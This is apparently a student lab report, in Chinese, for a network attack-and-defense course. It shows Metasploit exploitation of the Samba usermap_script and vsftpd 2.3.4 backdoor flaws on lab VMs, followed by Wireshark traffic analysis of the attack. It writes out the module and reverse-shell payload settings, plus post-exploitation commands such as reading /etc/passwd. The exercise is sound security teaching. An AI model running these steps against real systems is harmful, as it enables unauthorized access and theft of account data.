20252901 2025-2026-2 《网络攻防实践》实践七报告

20252901 程宇 2025-2026-2 《网络攻防实践》实践七报告

一、实践内容

1. 使用Metasploit进行Linux远程渗透攻击

任务: 使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。

实践步骤:

  1. 启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
  2. 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
  3. 选择攻击PAYLOAD为远程shell(正向或反向连接均可);
  4. 设置渗透攻击参数(RHOST,LHOST,TARGET等);
  5. 执行渗透攻击;
  6. 查看是否正确得到远程Shell,并查看获得的权限。

2. 实践作业:攻防对抗实践

攻击方: 使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方: 使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。


二、实验目的与原理

  • 掌握 Metasploit 渗透测试框架的核心使用方法,熟悉渗透攻击模块、攻击载荷的配置与执行全流程;
  • 掌握利用 Samba 服务 usermap_script 安全漏洞对 Linux 靶机进行远程渗透攻击的方法,实现靶机远程访问权限的获取;
  • 完成攻防对抗实践,掌握 Linux 系统常见服务漏洞的利用方法,同时熟练使用 Wireshark 完成攻击流量的捕获、分析与攻击行为溯源;
  • 理解 Linux 系统远程渗透攻击的完整链路,建立网络攻击与防御的闭环认知,掌握 Linux 系统基础安全加固思路。

Samba 服务 usermap_script 漏洞原理

Samba 是 Linux 系统实现 SMB/CIFS 协议的开源服务软件,用于实现跨平台文件与打印共享。本次实验利用的 usermap_script 漏洞(CVE-2007-2447),存在于 Samba 3.0.20 ~ 3.0.25rc3 版本中。

漏洞成因: Samba 服务在处理用户名映射脚本时,对客户端传入的用户名未做严格的安全过滤与特殊字符转义,攻击者可在用户名中注入 Shell 命令;当 Samba 服务处理该用户名时,会直接执行注入的恶意系统命令,从而实现无权限验证的远程代码执行,最终获取靶机的系统控制权。

vsftpd 2.3.4 后门漏洞原理

vsftpd 是 Linux 系统主流的轻量级 FTP 服务软件,其 2.3.4 版本被恶意植入后门程序。当攻击者使用末尾包含:)特殊字符的用户名发起 FTP 登录请求时,会直接触发靶机的后门程序,在靶机的 6200 端口自动开启 TCP 监听;攻击者连接该端口后,可直接获得靶机的交互式 Shell,无需身份验证即可实现对靶机的远程控制。


三、实验步骤与过程

基础实验:使用 Metasploit 进行 Linux 远程渗透攻击

本次实验核心目标为利用 Samba 服务 usermap_script 漏洞,对 Metasploitable_Ubuntu 靶机发起渗透攻击,获取靶机的 root 权限。

实验环境配置

本次实验基于 VMware 虚拟化环境搭建,所有虚拟机处于同一网段,实验前已完成网络连通性校验与基础环境配置,虚拟机角色与 IP 分配如下:

虚拟机名称 操作系统 IP地址 核心工具
Kali Kali Linux 192.168.200.3 Metasploit Framework、Wireshark、终端命令行工具
Metasploitable_Ubuntu Ubuntu 192.168.200.5 Samba 服务
Metasploitable_Linux Linux 192.168.200.9 vsftpd 服务

配置说明:

在配置 Metasploitable_Ubuntu 时,需要执行命令 sudo vim /etc/rc.local,输入密码 msfadmin 进行编辑。如果懒得修改,可以重装一个,设置成同一网段即可,无需任何手动配置命令,系统会默认自动获取ip。

输入 i 变成编辑模式,修改如下配置命令:

ifconfig eth0 192.168.200.5 netmask 255.255.255.128
route add default gw 192.168.200.2

esc 保存并退出后,执行 sudo reboot 命令重启虚拟机。

注意: 老师提供的百度网盘Metasploitable_Linux有问题,无法运行,可从官网下载 https://www.rapid7.com/products/metasploit/metasploitable/ 下载预计15分钟。用户名和密码同样是msfadmin

步骤 1:实验环境连通性验证

在 Kali 攻击机终端执行以下命令,验证与靶机的网络连通性,确保攻击链路正常:

ping 192.168.200.5

image

执行结果显示数据包无丢失、往返时延正常,确认攻击机与靶机网络互通,可开展后续渗透操作。

步骤 2:启动 Metasploit 控制台

在 Kali 终端以 root 权限启动 Metasploit 框架控制台,执行命令:

sudo su
msfconsole

image

启动完成后,进入 Metasploit 交互界面,提示符为 msf >

步骤 3:搜索并加载渗透攻击模块

在 msfconsole 中执行以下命令,搜索 usermap_script 漏洞对应的攻击模块:

search samba usermap_script

image

搜索结果中,定位到评级为 excellent 的渗透模块 exploit/multi/samba/usermap_script,执行 use 命令加载该模块:

use exploit/multi/samba/usermap_script

模块加载完成后,提示符更新为 msf exploit(multi/samba/usermap_script) >

步骤 4:选择并配置攻击载荷

执行 show payloads 命令,查看该模块支持的所有攻击载荷列表。本次实验选择反向连接 Shell 载荷,实现靶机主动回连攻击机,保证攻击链路的稳定性,执行配置命令:

set payload cmd/unix/reverse_netcat

image

步骤 5:配置渗透攻击核心参数

执行 show options 命令,查看模块与载荷的必填配置项,根据实验环境配置核心参数:

# 配置靶机IP地址(Metasploit 6+版本统一使用RHOSTS复数参数)
set RHOSTS 192.168.200.5
# 配置攻击机监听IP地址,用于接收靶机反向连接
set LHOST 192.168.200.3

配置完成后,再次执行 show options 命令,确认所有必填参数配置无误,无缺失项。

image

步骤 6:执行渗透攻击

参数校验完成后,执行 exploit 命令发起渗透攻击:

exploit

image

攻击执行后,控制台显示 Started reverse TCP handler on 192.168.200.3:4444,并成功建立与靶机的会话,进入靶机的交互式命令行 Shell。

步骤 7:攻击结果与权限验证

在获得的 Shell 中执行以下命令,验证攻击效果与获取的系统权限:

# 查看当前操作用户,确认权限等级
whoami
# 查看靶机网络配置,确认目标为Metasploitable_Ubuntu靶机
ifconfig
# 查看当前工作目录
pwd
# 查看靶机目录文件
ls
# 查看这台 Linux 有哪些用户
cat /etc/passwd

image
image

执行结果显示,当前用户为 root,成功获得靶机的最高系统权限,网络配置与靶机 IP 192.168.200.5 完全匹配,本次渗透攻击成功完成。


攻防对抗实践

本次实践分为攻击方与防守方两个角色,攻击方利用 vsftpd 漏洞完成靶机控制,防守方通过 Wireshark 完成攻击流量捕获、分析与溯源。

基础信息提取

溯源项目 详细信息
攻击者 IP 192.168.200.3
靶机 IP 192.168.200.9
攻击目标端口 初始 FTP 控制端口 21、后门触发端口 6200
攻击发起时间 流量中首次 SYN 请求的时间戳
利用漏洞 vsftpd 2.3.4 自带后门漏洞

攻击方操作

步骤 1:搜索并加载漏洞攻击模块

在 msfconsole 中执行以下命令,搜索 vsftpd 漏洞对应的攻击模块:

search vsftpd

image

搜索结果中,定位到 exploit/unix/ftp/vsftpd_234_backdoor 模块,执行 use 命令加载:

use exploit/unix/ftp/vsftpd_234_backdoor
步骤 2:配置攻击载荷与核心参数

执行 show payloads 查看支持的载荷,选择适配的交互载荷并配置核心参数:

# 配置靶机与攻击机
set RHOSTS 192.168.200.9
set LHOST 192.168.200.3
set payload cmd/unix/reverse

image

同步开启 Wireshark 流量捕获

打开 Wireshark,选择攻击机与靶机通信的虚拟网卡,设置显示过滤规则:

ip.addr == 192.168.200.3 && ip.addr == 192.168.200.9

点击开始捕获,同步记录攻击全流程的网络流量。

执行攻击并完成靶机操作

参数配置无误后,执行 exploit 命令发起攻击:

exploit

image

攻击成功后,获得靶机的交互式 Shell,执行以下操作完成对靶机的控制:

# 验证权限
whoami
# 查看靶机信息
uname -a
# 进入用户目录创建测试文件
cd /home
mkdir attack_verify
echo "vsftpd attack success" > attack_log.txt
# 查看文件创建结果
ls

image

Wireshark 攻击流量分析与溯源

攻击完成后,停止 Wireshark 流量捕获,对流量包进行深度分析,完成攻击全链路溯源:

攻击过程流量还原
  1. 会话建立阶段(No. 816-818):攻击机向靶机 21 端口发起 TCP 三次握手,建立 FTP 控制会话;

image

  1. 漏洞触发阶段(No. 821):攻击机发送 FTP 用户名 USER xxx:),用户名末尾的 :) 特殊字符触发后门程序,靶机在 6200 端口开启 TCP 监听;

  2. 控制通道建立(No. 825-827):攻击机向靶机 6200 端口发起 TCP 连接,成功建立会话,获得靶机 Shell 权限;

  3. 恶意操作阶段(tcp.stream eq 13/14,具体因人而异):右键选中攻击会话数据包,选择 Follow → TCP Stream,可完整还原攻击者在 Shell 中执行的所有命令,包括权限验证、目录切换、文件创建等操作。

image
image

攻击特征识别
  • 漏洞触发特征:FTP 协议请求中,用户名包含 :) 特殊字符;
  • 异常网络行为:靶机非知名端口 6200 主动开启监听,并与外部 IP 建立 TCP 连接;
  • 协议异常:FTP 控制通道建立后,传输了大量非 FTP 协议的 Linux 系统命令,属于明显的异常数据传输。

四、实验中遇到的问题及解决方法

问题: 执行渗透攻击后,未获得靶机会话,提示 Exploit completed, but no session was created

原因: 靶机 Metasploitable_Ubuntu 未开启存在漏洞的 Samba/vsftpd 服务,或服务版本不符合漏洞利用要求。

解决方法: 进行第二个实验的时候不要使用 Metaspolitable_Ubuntu 而是采用 Metaspolitable_Linux。


五、实验总结

通过本次实践,我完整完成了 Linux 系统远程渗透攻击与攻防对抗的全流程操作,熟练掌握了 Metasploit 框架的核心使用方法,包括漏洞模块搜索、加载、攻击载荷配置、参数设置与攻击执行的完整链路,成功利用 Samba 与 vsftpd 两个经典漏洞完成了 Linux 靶机的渗透攻击,获得了靶机的 root 最高权限。

本次实验也让我意识到,我对 Linux 漏洞的底层原理掌握仍不够深入,后续我会继续学习 Linux 系统安全与渗透测试相关知识,通过更多的实践操作,提升自己的网络攻防与安全分析能力。


参考资料

posted @ 2026-04-21 18:19  行走的yu  阅读(69)  评论(0)    收藏  举报